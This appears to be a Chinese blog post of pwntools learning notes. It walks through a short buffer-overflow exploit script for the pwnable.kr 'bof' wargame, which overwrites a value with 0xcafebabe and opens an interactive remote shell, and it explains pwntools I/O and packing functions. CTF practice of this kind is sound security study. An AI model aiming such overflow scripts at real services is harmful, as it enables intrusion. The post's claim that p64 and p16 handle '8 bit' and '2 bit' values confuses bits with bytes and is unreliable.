1. 程式人生 > >pwntools學習記錄(一)

pwntools學習記錄(一)

參考文章:https://bbs.pediy.com/thread-247217.htm
我們先來就著上次寫的bof的exp來講解一下

from pwn import *
c = remote("pwnable.kr",9000)
c.sendline("AAAA"*13+p32(0xcafebabe))
c.interactive()

remote("一個域名或者ip地址", 埠)會連線到我們指定的地址及埠。 然後該函式會返回remote物件

remote物件主要用來進行對遠端主機的輸入輸出. 它有如下幾個方法:

send(payload)傳送payload
sendline(payload)

傳送payload,並進行換行(末尾\n)
sendafter(some_string, payload)接收到 some_string 後, 傳送你的 payload
recvn(N) 接受 N(數字) 字元
recvline()接收一行輸出
recvlines(N)接收 N(數字) 行輸出
recvuntil(some_string)接收到 some_string 為止

在第三行中,p32()可以讓我們轉換整數到小端序格式.p32轉換4位元組. p64p16 則分別轉換 8 bit2 bit 數字

c.sendline將我們的payload傳送到遠端主機
c.interactive()

允許我們在終端裡將命令傳送到遠端伺服器. Pwntools 會自動接收輸出並回顯 .